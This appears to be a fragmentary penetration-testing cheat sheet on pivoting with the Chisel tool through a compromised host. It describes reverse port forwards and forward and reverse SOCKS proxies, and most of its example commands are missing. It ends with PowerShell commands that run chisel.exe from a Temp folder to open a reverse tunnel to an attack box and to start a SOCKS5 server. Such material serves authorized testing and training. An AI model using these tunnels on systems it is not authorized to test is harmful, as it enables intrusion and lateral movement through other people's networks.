Open $LPORT on attack box and port forward to $RPORT on target
Reverse Individual Port Forwarding
Example: A service on a compromised host is listening on $LPORT
Run the Chisel server on the attack box in reverse mode and connect from the target
Specify the port forward on the target machine
Open a port on attack box and forward traffic to remote port
Open $RPORT on attack box and forward to $LPORT on target through reverse connection.
Socks Proxy
Server Running on Attack Box
Opens port 54321 on attack box as a reverse SOCKS proxy. Listens for connections from Chisel on this port.
Chisel Server Running on Target
Open port 54321 on attack machine as a forward SOCKS proxy
Forward Dynamic SOCKS Proxy
Run the Chisel server on the target box
Use the target box as a jump host to reach additional targets routable by the target
The traffic flows forward to the target box, which acts as a transparent SOCKS proxy
Reverse Dynamic SOCKS Proxy
Run the Chisel server on the attack box in reverse mode
Connect to the Chisel server from the target and specify a reverse port forward
The traffic flows through the port on the attack box in reverse to the target box, which acts as a transparent SOCKS proxy
Reverse Shell Tips
Run Chisel in the Background
Running chisel in the foreground in a reverse shell will render your shell useless. Background the process in order to continue to use the shell while forwarding traffic.
Linux
Background a process with '&'. Works for both client and server sides.
Windows - PowerShell
Client Side
Server Side
Note that in server mode, you'll need to make sure your port is allowed through the firewall.
# Use the Start-Job cmdlet with a script block
$background = { Start-Process C:\Windows\Temp\chisel.exe -ArgumentList @('client','10.0.0.2:8080','R:127.0.0.1:8800:127.0.0.1:80') }
Start-Job -ScriptBlock $background
# Use the Start-Job cmdlet with a script block
$background = { Start-Process C:\Windows\Temp\chisel.exe -ArgumentList @('server','--port 50001','--socks5') }
Start-Job -ScriptBlock $background